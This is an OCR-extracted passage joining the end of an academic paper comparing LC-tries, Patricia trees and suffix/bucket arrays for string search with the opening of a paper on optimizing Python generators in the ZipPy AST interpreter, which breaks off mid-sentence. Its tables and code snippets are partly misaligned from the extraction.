In this way, the worst time search cost was reduced. But also in this case the text has to be accessed at each step of the search. Since the augmented suffix array has a large space overhead, another method that combines a suffix array with a bucket array was suggested for practical use. Strings from a k-ary alphabet are treated as k-ary numbers and the universe is split into a number of buckets. Each bucket contains a pointer into the suffix array. Thus, a string location is reduced to a binary search within a small part of the suffix array. Choosing n/4 buckets the total space requirement increases by only one fourth compared to the suffix array alone. Their comparison with traditional implementations of suffix trees demonstrated that the suffix array/bucket array combination required roughly the same search time as a suffix tree, while the space requirements were considerably smaller. Secondary Memory The combination of a bucket array and a suffix array is also well suited for very large texts. The bucket array may be stored in main memory and the suffix array in secondary memory. In this way the number of accesses to secondary memory during the binary search will be small. However, this method does not adapt gracefully to data that deviates markedly from the uniform distribution. Some buckets may contain many elements while others are empty. **Experiment 1: Main Memory** In order to study the real world behavior of the various trie structures discussed above, we have carried out a number of experiments. In order to get reproducible results, we have chosen not to make experiments on a specific architecture using a specific programming language. Instead, we have performed simulations, measuring critical operations. **Method** To estimate space requirements, we let characters and branching values occupy 1 byte each, small integers, such as skip values, occupy 2 bytes each, and pointers occupy 4 bytes. In order to measure search costs, we have counted the average number of steps required for a successful search. As steps we count the number of traversed nodes in a trie (i.e. the average depth of a leaf), and the number of string comparisons made in a suffix array. Experiments were performed on the following data: *Random text:* A text consisting of zeroes and ones, independently chosen with equal probability. *DNA:* The longest available complete DNA sequence, the Epstein-Barr virus. *FAQ, ASCII:* An English text in ASCII format, the Frequently Asked Questions list for the newsgroup comp.windows.x (2 Sep 91). *FAQ, Huffman:* The same text as above, but Huffman coded. In each case, we have performed our experiments on 1%, 10%, and 100% of the input text. The following data structures were examined: *Augmented suffix array:* The worst-case efficient data structure presented by Man- ber and Myers. Each entry in the array contains one address (4 bytes) and two skip values (2 bytes each). Hence, an augmented suffix array of length \( n \) occupy \( 8n \) bytes. *Trie, linked list implementation:* An alphabetic trie were at each internal node the outgoing pointers are stored in a linked list. Path compression is used. An internal node in the trie of degree \( d \) is represented by \( d \) list nodes, each one contains one character, one skip value, and two pointers, a total of 11 bytes per list node. External nodes are marked by a specially designated skip value and contain one pointer into the document, requiring 6 bytes per node. For \( n \) leaves and \( I \) internal nodes, the total space is \( 11I + 6n \). *Trie, array implementation:* An alphabetic trie with an array of length \( k \) equal to the size of the alphabet at each internal node. Path compression is used. Each internal node uses \( 4k \) bytes for pointers and 2 bytes for its skip value. External nodes are represented as above. For \( n \) external nodes and \( I \) internal nodes, the total space is \( (4k + 2)I + 6n \). *Patricia tree:* A binary trie implemented as a Patricia tree. The trie is stored in an array and each node is represented by a skip value and an address, requiring 6 bytes. The total number of nodes in a Patricia trie is $2n - 1$ and hence the space required is $6(2n - 1)$. *LC-trie:* We implement the trie in the space efficient way described above, where each node is represented by two integers, one short integer that either holds a skip or a branch value and one long integer that holds a pointer, a total of 6 bytes per node. An LC-trie with $n$ leaves and $I$ internal nodes requires $6(n + I)$ bytes. Not all combinations of input texts and data structures make sense. In an alphabetic trie it makes no difference how the characters have been encoded. Also, the alphabetic trie and the binary trie coincide for a binary string. We also performed experiments on a trie where each internal node was represented as a binary search tree. This structure achieved roughly the same average depth as a Patricia trie, but at the cost of using considerably more space. These results are not included here. **Discussion** The simulation results are presented in Table 2. Starting with the space requirements, we observe that among the various trie structures the LC-trie requires the smallest space for all kinds of input. The only data structure that uses less space than the LC-trie is the suffix array. The DNA-sequence has a very smooth character distribution and hence the results for this input are very similar to the results for random data. In both cases, the average depth in an LC-trie is considerably smaller than in any of the other tries. As expected, it is also smaller than the number of binary search steps required in a suffix array; the average depth of an LC-trie is $O(\log^* n)$ for independent random data [4]. For English text the LC-trie has a markedly better performance than an ordinary trie, except for the array implementation, which achieves smaller average depth at the price of a prohibitively large space overhead. We also observe that ASCII-coding is not the best alternative when building an LC-trie; if we use Huffman coded text the search cost is significantly reduced. Using Huffman coding on a binary trie also gives a slight improvement. However, it is the combination of Huffman coding and level compression that makes the main difference. Huffman coding smoothes the text so that level compression becomes more effective. One might argue that the branching operation made in an LC-trie is more expensive than in a Patricia trie, instead of using just one bit for branching at each node we use a varying number of bits. However, the following argument shows that the total search cost in an LC-trie is in fact smaller. First, we note that during a search in an LC-trie we examine exactly the same bits in the query string as during a search in a Patricia trie. The difference is that in the LC-trie consecutive bits are sometimes examined in groups, while they are examined one at a time in a Patricia trie. For example, if a node in an LC-trie uses four bits for branching, we extract these four bits from the query string and treat them as a 4-digit binary number. Depending on the value of this number we determine in which subtree the search is to be continued. In the corresponding Patricia trie, we extract the same four bits one at a time, traversing four nodes in the tree. In summary, with respect to space and average depth, the LC-trie is a clear winner among the various trie structures. The only real advantage with a suffix array is the fact that it uses slightly less memory than the trie structure. However, <table> <thead> <tr> <th>Input</th> <th>Suffix Array</th> <th>Trie (list)</th> <th>Trie (array)</th> <th>Patricia Tree</th> <th>LC-trie</th> </tr> </thead> <tbody> <tr> <td>File</td> <td>Size</td> <td>Steps</td> <td>Depth</td> <td>Size</td> <td>Depth</td> </tr> <tr> <td>Random text</td> <td>Size</td> <td>Steps</td> <td>Depth</td> <td>Size</td> <td>Depth</td> </tr> <tr> <td></td> <td></td> <td>Size</td> <td></td> <td></td> <td></td> </tr> <tr> <td>2</td> <td>10.0</td> <td>16</td> <td></td> <td>12.4</td> <td>24</td> </tr> <tr> <td>20</td> <td>13.3</td> <td>160</td> <td></td> <td>15.6</td> <td>240</td> </tr> <tr> <td>200</td> <td>16.6</td> <td>1600</td> <td></td> <td>18.9</td> <td>2400</td> </tr> <tr> <td>DNA</td> <td>1.7</td> <td>9.8</td> <td>14</td> <td>15.8</td> <td>41</td> </tr> <tr> <td></td> <td>17</td> <td>13</td> <td>138</td> <td>19.1</td> <td>423</td> </tr> <tr> <td></td> <td>172</td> <td>16.4</td> <td>1378</td> <td>24.5</td> <td>4279</td> </tr> <tr> <td>FAQ, ASCII</td> <td>1.9</td> <td>9.9</td> <td>15</td> <td>60.2</td> <td>42</td> </tr> <tr> <td></td> <td>19</td> <td>13.2</td> <td>155</td> <td>80.7</td> <td>431</td> </tr> <tr> <td></td> <td>193</td> <td>16.6</td> <td>1545</td> <td>115.8</td> <td>4318</td> </tr> <tr> <td>FAQ, Huffman</td> <td>1.9</td> <td>9.9</td> <td>15</td> <td>13.3</td> <td>23</td> </tr> <tr> <td></td> <td>19</td> <td>13.2</td> <td>155</td> <td>18.3</td> <td>232</td> </tr> <tr> <td></td> <td>193</td> <td>16.6</td> <td>1545</td> <td>24.5</td> <td>2318</td> </tr> </tbody> </table> Table 2: Empirical results for suffix array and suffix trees. Sizes are measured in kbytes. recall that a suffix array, as opposed to a trie, requires access to the document itself at each step of the binary search. **Experiment 2: Secondary Memory** In most applications the text data base is too large to fit into main memory. Therefore, in this case, we have conducted a more extensive experiment, using several different kinds of texts. **Method** We have studied the two data structures for large texts described above. *Suffix array/bucket array:* In all experiments, we use approximately \( n/4 \) buckets, as suggested by Manber and Myers. We have chosen the number of buckets in such a way that the proper bucket can be computed by truncating a number of bits. Thus, in most cases (the exception being the \( k \)-digit coding) we have chosen the number of buckets to be a power of 2. Each bucket is represented by a pointer, the total space for \( b \) buckets is \( 4b \). *Suffix array/LC-trie:* The cutoff value (the maximal number of elements stored in a leaf in the LC-trie) has been chosen in such a way that both the time and space measurements of the two data structures can be easily compared, i.e. both measurements will be better for one structure than for the other. We have ignored the time spent in the internal structure and only counted the number of accesses to secondary memory required during the binary search, since these are typically much more expensive. Also, we have only counted space required by the internal structures. Another natural way to try to improve the behavior of the bucketing method is to use a better encoding. For the sake of completeness we have tried both the arithmetic coding suggested by Manber and Myers and a combination of bucketing and Huffman coding. Both methods enhance the performance slightly but do not come close to the performance of the LC-trie. In addition to the texts from the experiment above we have performed experiments on a selection of the standard texts found in the Calgary/Canterbury text compression corpus [9]. Pictures, geophysical data, object code and texts that were too large to be easily handled by our simulation program have been excluded. The following additional texts were used: *bib:* Bibliographic files (refer format). *paper1:* Witten, Neal and Cleary: Arithmetic coding for data compression. *paper2:* Witten: Computer (in)security. *progc:* C source code: compress version 4.0. *progl:* Lisp source code: system software. *progp:* Pascal source code: prediction by partial matching evaluation program. *trans:* Transcript of a session on a terminal. <table> <thead> <tr> <th></th> <th>Input</th> <th>Bucket Array</th> <th></th> <th>LC-trie</th> <th></th> </tr> </thead> <tbody> <tr> <td></td> <td>File</td> <td>Size Access</td> <td></td> <td>Size Access</td> <td>Size</td> </tr> <tr> <td></td> <td></td> <td>Aver. Worst</td> <td></td> <td>Aver. Worst</td> <td></td> </tr> <tr> <td>Random text</td> <td>200</td> <td>2.5 5</td> <td>131</td> <td>2.9 5</td> <td>140</td> </tr> <tr> <td>DNA</td> <td>172</td> <td>2.9 7</td> <td>131</td> <td>3.1 6</td> <td>137</td> </tr> <tr> <td>FAQ, ASCII</td> <td>193</td> <td>8.2 14</td> <td>131</td> <td>4.8 7</td> <td>64</td> </tr> <tr> <td>FAQ, 96-digit</td> <td></td> <td>6.8 14</td> <td>193</td> <td></td> <td></td> </tr> <tr> <td>FAQ, Huffman</td> <td>5.2 14</td> <td>131</td> <td>4.7 7</td> <td>56</td> <td></td> </tr> <tr> <td>bib, ASCII</td> <td>111</td> <td>7.7 13</td> <td>131</td> <td>4.9 7</td> <td>34</td> </tr> <tr> <td>bib, 96-digit</td> <td></td> <td>6.8 13</td> <td>111</td> <td></td> <td></td> </tr> <tr> <td>bib, Huffman</td> <td>5.1 11</td> <td>131</td> <td>4.9 7</td> <td>30</td> <td></td> </tr> <tr> <td>paper1, ASCII</td> <td>53</td> <td>7.0 11</td> <td>66</td> <td>4.0 6</td> <td>31</td> </tr> <tr> <td>paper1, 96-digit</td> <td></td> <td>5.9 11</td> <td>53</td> <td></td> <td></td> </tr> <tr> <td>paper1, Huffman</td> <td>4.1 9</td> <td>66</td> <td>3.9 6</td> <td>27</td> <td></td> </tr> <tr> <td>paper2, ASCII</td> <td>82</td> <td>7.7 13</td> <td>131</td> <td>4.0 6</td> <td>50</td> </tr> <tr> <td>paper2, 96-digit</td> <td></td> <td>6.8 13</td> <td>82</td> <td></td> <td></td> </tr> <tr> <td>paper2, Huffman</td> <td>4.2 10</td> <td>131</td> <td>3.9 6</td> <td>42</td> <td></td> </tr> <tr> <td>progl, ASCII</td> <td>40</td> <td>6.9 11</td> <td>33</td> <td>4.1 6</td> <td>22</td> </tr> <tr> <td>progl, 96-digit</td> <td></td> <td>5.6 11</td> <td>40</td> <td></td> <td></td> </tr> <tr> <td>progl, Huffman</td> <td>4.1 8</td> <td>33</td> <td>4.0 6</td> <td>20</td> <td></td> </tr> <tr> <td>progh, ASCII</td> <td>72</td> <td>7.9 12</td> <td>66</td> <td>4.1 6</td> <td>41</td> </tr> <tr> <td>progh, 96-digit</td> <td></td> <td>6.9 12</td> <td>72</td> <td></td> <td></td> </tr> <tr> <td>progh, Huffman</td> <td>5.1 12</td> <td>66</td> <td>4.0 6</td> <td>39</td> <td></td> </tr> <tr> <td>progp, ASCII</td> <td>49</td> <td>7.5 13</td> <td>33</td> <td>4.1 6</td> <td>28</td> </tr> <tr> <td>progp, 96-digit</td> <td></td> <td>6.4 13</td> <td>49</td> <td></td> <td></td> </tr> <tr> <td>progp, Huffman</td> <td>5.2 12</td> <td>33</td> <td>4.0 6</td> <td>27</td> <td></td> </tr> <tr> <td>trans, ASCII</td> <td>94</td> <td>7.1 12</td> <td>131</td> <td>4.0 6</td> <td>61</td> </tr> <tr> <td>trans, 96-digit</td> <td></td> <td>6.4 13</td> <td>94</td> <td></td> <td></td> </tr> <tr> <td>trans, Huffman</td> <td>5.1 11</td> <td>131</td> <td>4.0 6</td> <td>57</td> <td></td> </tr> </tbody> </table> Table 3: Empirical results for partial data structures. Sizes are measured in kbytes. Discussion Looking at Table 3 we observe that for almost all texts the LC-trie has both a lower average number of accesses to secondary memory and a much smaller size. The only exception is the random string and the DNA sequence, where the bucket array is slightly better. This is to be expected since bucketing is very efficient for uniformly distributed data. Our experimental results accentuate some of the problems of using a plain bucketing scheme. The major drawback is that for nonuniform distributions many elements may end up in a few buckets while many buckets are empty. This will not only be space inefficient, but also the accumulation of elements will increase the number of accesses to secondary memory. The LC-trie/suffix array implementation has the advantage that the number of elements represented by a leaf is bounded. In our experiments no cutoff value is greater than 100. However, when using the bucket array/suffix array on the text “FAQ” the largest bucket contained no less than 9198 elements and hence the maximum search cost is much higher for the bucket array. Conclusions The experimental results presented in this paper strongly indicate that the combination of path compression, data compression, and level compression gives a time and space-efficient data structure for string searching that is easy to implement and hence should work well in real world applications. In particular, we believe that the LC-trie/suffix array combination will prove to be efficient for very large texts, since it minimizes the number of accesses to slow secondary memory while at the same time using only a small amount of main memory. Acknowledgments We wish to thank the anonymous referee for valuable comments. References
{"Source-Url": "https://www.nada.kth.se/~snilsson/publications/Suffix-tree-implementation/text.pdf", "len_cl100k_base": 8914, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 79848, "total-output-tokens": 9231, "length": "2e13", "weborganizer": {"__label__adult": 0.00037550926208496094, "__label__art_design": 0.0003740787506103515, "__label__crime_law": 0.0005288124084472656, "__label__education_jobs": 0.0008358955383300781, "__label__entertainment": 0.00011789798736572266, "__label__fashion_beauty": 0.0002135038375854492, "__label__finance_business": 0.00022280216217041016, "__label__food_dining": 0.0004625320434570313, "__label__games": 0.0006055831909179688, "__label__hardware": 0.0017328262329101562, "__label__health": 0.0007071495056152344, "__label__history": 0.0003628730773925781, "__label__home_hobbies": 0.00011390447616577148, "__label__industrial": 0.000514984130859375, "__label__literature": 0.0005078315734863281, "__label__politics": 0.0003349781036376953, "__label__religion": 0.0005946159362792969, "__label__science_tech": 0.1419677734375, "__label__social_life": 0.00012290477752685547, "__label__software": 0.0149383544921875, "__label__software_dev": 0.8330078125, "__label__sports_fitness": 0.00035071372985839844, "__label__transportation": 0.0005502700805664062, "__label__travel": 0.00020515918731689453}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 33814, 0.05465]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 33814, 0.63531]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 33814, 0.90032]], "google_gemma-3-12b-it_contains_pii": [[0, 2619, false], [2619, 6300, null], [6300, 6369, null], [6369, 8534, null], [8534, 11768, null], [11768, 15086, null], [15086, 18276, null], [18276, 21165, null], [21165, 24838, null], [24838, 26784, null], [26784, 29359, null], [29359, 31934, null], [31934, 33814, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2619, true], [2619, 6300, null], [6300, 6369, null], [6369, 8534, null], [8534, 11768, null], [11768, 15086, null], [15086, 18276, null], [18276, 21165, null], [21165, 24838, null], [24838, 26784, null], [26784, 29359, null], [29359, 31934, null], [31934, 33814, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 33814, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 33814, null]], "pdf_page_numbers": [[0, 2619, 1], [2619, 6300, 2], [6300, 6369, 3], [6369, 8534, 4], [8534, 11768, 5], [11768, 15086, 6], [15086, 18276, 7], [18276, 21165, 8], [21165, 24838, 9], [24838, 26784, 10], [26784, 29359, 11], [29359, 31934, 12], [31934, 33814, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 33814, 0.2509]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
312fa14d24483a0b0a1685e3c17155a783d741dc
Accelerating Iterators in Optimizing AST Interpreters Wei Zhang Per Larsen Stefan Brunthaler Michael Franz University of California, Irvine {wei.zhang, perl, s.brunthaler, franz}@uci.edu Abstract Generators offer an elegant way to express iterators. However, performance has always been their Achilles heel and has prevented widespread adoption. We present techniques to efficiently implement and optimize generators. We have implemented our optimizations in ZipPy, a modern, light-weight AST interpreter based Python 3 implementation targeting the Java virtual machine. Our implementation builds on a framework that optimizes AST interpreters using just-in-time compilation. In such a system, it is crucial that AST optimizations do not prevent subsequent optimizations. Our system was carefully designed to avoid this problem. We report an average speedup of 3.58× for generator-bound programs. As a result, using generators no longer has downsides and programmers are free to enjoy their upsides. Categories and Subject Descriptors D.3.4 [Programming Languages]: Processors—interpreters, code generation, optimization General Terms Languages, Performance Keywords generator; iterator; dynamic languages; optimization; Python 1. Motivation Many programming languages support generators, which allow a natural expression of iterators. We surveyed the use of generators in real Python programs, and found that among the 50 most popular Python projects listed on the Python Package Index (PyPI) [18] and GitHub [11], 90% of these programs use generators. Generators provide programmers with special control-flow transfers that allows function executions to be suspended and resumed. Even though these control-flow transfers require extra computation, the biggest performance bottleneck is caused by preserving the state of a function between a suspend and a resume. This bottleneck is due to the use of cactus stacks required for state preservation. Popular language implementations, such as CPython [20], and CRuby [22], allocate frames on the heap. Heap allocation eliminates the need for cactus stacks, but is expensive on its own. Furthermore, function calls in those languages are known to be expensive as well. In this paper, we examine the challenges of improving generator performance for Python. First, we show how to efficiently implement generators in abstract syntax tree (AST) interpreters, which requires a fundamentally different design than existing implementations for bytecode interpreters. We use our own full-fledged prototype implementation of Python 3, called ZipPy which targets the Java virtual machine (JVM). ZipPy uses the Truffle framework [26] to optimize interpreted programs in stages, first collecting type feedback in the AST interpreter, then just-in-time compiling an AST down to optimized machine code. In particular, our implementation takes care not to prevent those subsequent optimizations. Our efficient generator implementation optimizes control-transfers via suspend and resume. Second, we describe an optimization for frequently used idiomatic patterns of generator usage in Python. Using this optimization allows our system to allocate generator frames to the native machine stack, eliminating the need for heap allocation. When combined, these two optimizations address both bottlenecks of using generators in popular programming languages, and finally give way to high performance generators. Summing up, our contributions are: - We present an efficient implementation of generators for AST based interpreters that is easy to implement and enables efficient optimization offered by just-in-time compilation. - We introduce generator peeling, a new optimization that eliminates overheads incurred by generators. - We provide results of a careful and detailed evaluation of our full-fledged prototype and report: 1 Publicly available at https://bitbucket.org/ssllab/zippy 2. Background 2.1 Generators in Python A generator is a more restricted variation of a coroutine [12, 16]. It encompasses two control abstractions: `suspend` and `resume`. `Suspend` is a generator exclusive operation, while only the caller of a generator can `resume` it. Suspending a generator always returns control to its immediate caller. Unlike regular subroutine calls, which start executing at the beginning of the callee, calls to a `suspended` generator resume from the point where it most recently suspended itself. Those two operations are asymmetric as opposed to the symmetric control transfer in coroutines. Generator Functions ```python def producer(n): for i in range(n): yield i def _producer(): for x in range(n): yield x n = 3 g = (x for x in range(n)) sum(g) # 3 ``` Figure 2. A simple generator expression in Python In Python, using the `yield` keyword in a function definition makes the function a generator function. A call to a generator function returns a generator object without evaluating the body of the function. The returned generator holds an execution state initialized using the arguments passed to the call. Generators implement Python’s iterator protocol, which includes a `__next__` method. The `__next__` method starts or resumes the execution of a generator. It is usually called implicitly, e.g., by a for loop that iterates on the generator (see Figure 1(a)). When the execution reaches a return statement or the end of the generator function, the generator raises a `StopIteration` exception. The exception terminates generator execution and breaks out of the loop that iterates on the generator. Figure 1(b) shows the desugared version of the for loop that iterates over the generator object `g` by explicitly calling `__next__`. Generator Expressions Generator expressions offer compact definitions of simple generators in Python. Generator expressions are as memory efficient as generator functions, since they both create generators that lazily produce one element at a time. Programmers use these expressions in their immediate enclosing scopes. ```python for i in generator(42): process(i) size = 42 sum(x**2 for x in range(size)) ``` (a) Simple generator (b) Implicit generator loop Figure 3. Idiomatic uses of generators The idiomatic way of using generators in Python is to write a `generator loop`. As shown in Figure 3(a), a generator loop is a for loop that calls a generator function and consumes the returned generator object. The common use pattern of a generator expression is to use it as a closure and pass it to a function that consumes it (see Figure 3(b)). The consumer functions, like `sum`, usually contain a loop that iterates on the generator. Therefore, we refer to this pattern as an `implicit generator loop`. Explicit and implicit generator loops cover most of the generator usage in Python programs. Our generator peeling optimization, which we explain in Section 4, targets these patterns. 2.2 Python on Truffle In principle, “everything” can change at any moment in dynamic language programs. This dynamic nature is the major impediment to ahead-of-time optimization. In practice, however, programmers tend to minimize the rate of change, which makes the code highly predictable. Types, for instance, typically remain stable between successive executions of a particular operation instance. Deutsch and Schiffman report that speculative type specialization succeeds 95% of the time in their classic Smalltalk-80 implementation [2]. Truffle is a self-optimizing runtime system that makes it easy to perform type specialization for dynamic languages running on top of the Java Virtual Machines (JVM) [26]. It allows language implementers to implement their guest lan- language by writing an AST interpreter using Java. An interpreter written in this way enjoys low cost type specialization via automatic node rewriting \[^{5,6,25}\]. AST node rewriting collects runtime type information, and speculatively replaces the existing nodes with specialized and more efficient ones. Subsequently, Truffle just-in-time compiles the specialized AST, written in Java, directly to machine code using the underlying Java compiler. Upon a type mis-speculation, the specialized AST node handles the type change by replacing itself with a more generic one. The node replacement triggers deoptimization from the compiled code and transfers execution back to the interpreter. If the re-specialized AST stays stable, Truffle can again compile it to machine code. Our system, ZipPy, is a full-fledged prototype Python 3 implementation built atop Truffle. It leverages Truffle’s type specialization feature and its underlying compilation infrastructure (see Figure 4). This architecture helps ZipPy outperform Python implementations that either do not exploit runtime type specialization or lack a just-in-time compiler. However, Truffle has no knowledge about specific high level guest language semantics, like generators in Python. Further performance exploration of a guest language will mainly benefit from better insights on distinct features of the language and making better use of the host compiler based on those insights. In this paper we focus on guest language level optimizations we added to ZipPy. 3. Generators Using an AST Interpreter Java, the host language of Truffle and ZipPy, does not offer native support for coroutines. Our AST interpreter needs to model the semantics of generators. However, the conventional way of implementing generators in a bytecode interpreter does not work in an AST setting. In this section, we discuss the challenges of supporting generators in an AST interpreter, and present the solution we devised for ZipPy. 3.1 AST Interpreters vs. Bytecode Interpreters The de-facto Python implementation, CPython, uses bytecode interpretation. It parses the Python program into a linearized bytecode representation and executes the program using a bytecode interpreter. A bytecode interpreter is iterative. It contains an interpreter loop that fetches the next instruction in every iteration and performs its operation. The bytecode index pointing to the next instruction is the only interpreter state that captures the current location of the program. The interpreter only needs to store the program activation and the last bytecode index when the generator suspends. When resuming, a generator can simply load the program activation and the last bytecode index before it continues with the next instruction. An AST interpreter on the other hand is recursive. The program evaluation starts from the root node, then recursively descends to the leaves, and eventually returns to the root node. In ZipPy, every AST node implements an execute method (see Figure 5). Each execute method recursively calls the execute methods on its child nodes. The recursive invocation builds a native call stack that captures the current location of the program. The interpreter has to save the entire call stack when the generator suspends. To resume the generator execution, it must rebuild the entire call stack to the exact point where it last suspended. 3.2 Generator ASTs ZipPy stores local variables in a heap-allocated frame object. AST nodes access variables by reading from and writing to dedicated frame slots. During just-in-time compilation, Truffle is able to map frame accesses to the machine stack and eliminate frame allocations. However, a generator needs to store its execution state between a suspend and resume. The frame object must therefore be kept on the heap which prevents Truffle’s frame optimization. In general, our AST interpreter implements control structures using Java’s control structures. We handle non-local returns, i.e., control flow from a deeply nested node to an outer node in the AST, using Java exceptions. Figure 6(a) illustrates the AST of a Python generator function. We model loops or if statements using dedicated control nodes, e.g., a WhileNode. The BlockNode groups a sequence of nodes that represents a basic block. The YieldNode performs a non-local return by throwing a YieldException. The exception bypasses the two parent BlockNodes, before the FunctionRootNode catches it. The FunctionRootNode then returns execution to the caller. Figure 5. Two different WhileNode versions Generator Control Nodes Every control node in ZipPy has a local state stored in the local variables of its execute method. The local state captures the current execution of the program, for instance, the current iterator of a for loop node or the current node index of a block node. To support generators we decide to implement an alternative generator version for each control node. These control nodes do not rely on local state, and keep all execution state in the frame. However, it is overly conservative to use generator control nodes everywhere in a generator function. We only need to use generator control nodes for the parent nodes of YieldNodes, since a yield operation only suspends the execution of these nodes. Figure 6. Translation to generator AST Figure 5(a) shows the implementation of a WhileNode. Note that the loop condition result is a local state of the node stored in the call stack of its execute method. When a YieldException is thrown somewhere in the loop body, it unwinds the call stack and discards the current loop condition result. When the generator resumes, it will not be able to retrieve the previous loop condition result without re-evaluating the condition node. The re-evaluation may have side effects and violate correct program behavior. Therefore, this implementation only works for normal functions but not for generator functions. Figure 5(b) shows the generator version of the WhileNode, the GenWhileNode. It keeps an active flag, a local helper variable, in the frame. The execute method accesses the flag by calling the isActive or setActive method. When a yield occurs in the loop body, the active flag remains true. When resuming, it bypasses the condition evaluation and forwards execution directly to the loop body. Note that it is incorrect to store the active flag as a field in the GenWhileNode. Different invocations of the same generator function interpret the same AST, but should not share any state stored in the AST. An alternative way to implement a GenWhileNode is to catch YieldExceptions in the execute method and set the active flag in the catch clause. This implementation requires the GenWhileNode to re-throw the YieldException after catching it. If we implement generator control nodes in this way, a yield operation will cause a chain of Java exception handling which is more expensive than the solution we chose. Similar to the GenWhileNode, we implement a generator version for all the other control nodes in ZipPy. Every generator control node has its own active flags stored in the frame. The descriptions of the generator control nodes are as follows: *GenFunctionRootNode*: Stores an active flag in the frame. Only applies arguments when the flag is false. Resets the flag and throws `StopIteration` exception upon termination of the generator. *GenBlockNode*: Stores the current node index in the frame. Skips the executed nodes when the index is not zero. Resets the index to zero upon exit. *GenForNode*: Stores the current iterator in the frame. Resets the iterator to null upon exit. *GenIfNode*: Similar to `GenWhileNode`, uses an active flags to indicate which branch is active. *GenWhileNode*: See Figure 5(b). *GenBreakNode*: Resets active flags of the parent control nodes up to the targeting loop node (the innermost enclosing loop), including the loop node. *GenContinueNode*: Resets active flags of the parent control nodes up to the targeting loop node, excluding the loop node. *YieldNode*: Must be a child of a `GenBlockNode`. Evaluates and stores the yielding value in the frame before throwing the `YieldException`. The root node then picks up the value and returns it to the caller. The `YieldNode` also advances the statement index of its parent `BlockNode` to ensure that the generator resumes from the next statement. **Control Node Translation** ZipPy first parses Python functions into ASTs that use the normal control nodes. Generator functions require an additional translation phase that replaces the normal control nodes with their generator equivalents. Figure 6 illustrates this translation. We only replace the control nodes that are parents of the `YieldNodes`, since these nodes fully capture the state required to suspend and resume execution. The translated generator AST always keeps a snapshot of its execution in the frame. When resuming, it is able to retrieve all the necessary information from the snapshot and rebuild the entire interpreter call stack to the exact point where it left off. The flag accesses in the generator control nodes and the exception based control flow handling add performance overheads. However, the underlying compiler is able to compile the entire generator AST into machine code. It also optimizes control flow exceptions and converts them to direct jumps. The jumps originate from where the exception is thrown and end at the location that catches it. The AST approach, enforced by the underlying framework, does add complexity to the implementation of generators. However, the performance gains offset this slight increase of the implementation effort. ### Yield as an Expression Python allows programmers to use `yield` in expressions. A yield expression returns a value passed from the caller by calling the generator method `send`. This enhancement allows the caller to pass a value back to the generator when it resumes, and brings generators closer to coroutines. However, it requires generator ASTs to be able to resume to a specific expression. Figure 7(a) shows an example of yield expressions. The assignment statement to variable `x` consumes the value returned by the yield expression. Figure 7(b) shows the translated AST of the multiplication sub-expression. Note that we translate the yield expression to a `GenBlockNode` containing a `YieldNode` and a `YieldSendValueNode`. When the `YieldNode` suspends execution, it advances the active node index of the parent `GenBlockNode` to point to the next node. This action ensures that the generator restarts execution from the `YieldSendValueNode`, which returns the value sent from the caller. In a more complicated case, the statement consuming the yield expression could contain sub-expressions with a higher evaluation order. In other words, the interpreter should evaluate these expressions before the yield expression. Some of them could have side effects, i.e., the call to `foo` in Figure 7(a). To avoid re-evaluation, we convert such expressions into separate statements and create variables to store the evaluated values. When the generator resumes, it picks up the evaluated values from the variables without visiting the expression nodes again. ### 4. Optimizing Generators with Peeling Generator peeling is an AST level speculative optimization that targets the idiomatic generator loop pattern. It transforms the high level generator calling semantics to lower level control structures and eliminates the overheads incurred by generators altogether. #### 4.1 Peeling Generator Loops Figure 8 shows a generator loop (left) that collects even numbers among the first ten Fibonacci numbers generated by `fib` (right) into the list `l`. For each iteration in the loop, the program performs the following steps: 1. Call \_\_next\_\_ on the generator and resume execution. 2. Perform another iteration in the for range loop to compute the next Fibonacci number. 3. Return the value of \texttt{a} to the caller and assign it to \texttt{i}. 4. Execute the body of the generator loop. 5. Return to the loop header and continue with the next iteration. Among those steps listed above, only step two and four perform the actual computation. Steps one and three are generator specific resume and suspend steps. They involve calling a function, resuming the generator AST to the previous state and returning the next value back to the caller. Those generator specific steps add high overhead to the real work in the generator loop. The most common and effective technique for optimizing function calls is to inline callees into callers. However, traditional function inlining does not work for generators. The desugared generator loop (similar to the one shown in Figure 1(b)) includes two calls: one to the generator function \texttt{fib} and another one to the \_\_next\_\_ method. The call to \texttt{fib} simply returns a generator object during loop setup, and is not performance critical. Inlining the call to \_\_next\_\_ requires special handling of \texttt{yields} rather than treating them as simple returns. An ideal solution should handle both calls at the same time, while still preserving semantics. Observe that the generator loop always calls \_\_next\_\_ on the generator unless it terminates. If the generator loop body was empty, we can replace the loop with the generator body of \texttt{fib} and still preserve semantics. Furthermore, assuming the above mentioned replacement is in-place, for the non-empty loop body case, we can replace each yield statement with the generator loop body. Figure 9 illustrates this transformation. The solid arrow depicts the generator loop replacement that “inlines” the generator body. The dashed arrow shows the yield replacement that combines the generator code and the caller code. Figure 10 shows the pseudo-code of the transformed program. We combine the generator body and the loop body in the same context. The original call to the generator function \texttt{fib} translates to the assignment to \texttt{n} which sets up the initial state of the following generator body. The generator body replaces the original generator loop. We simplify the yield statement to a single assignment. The 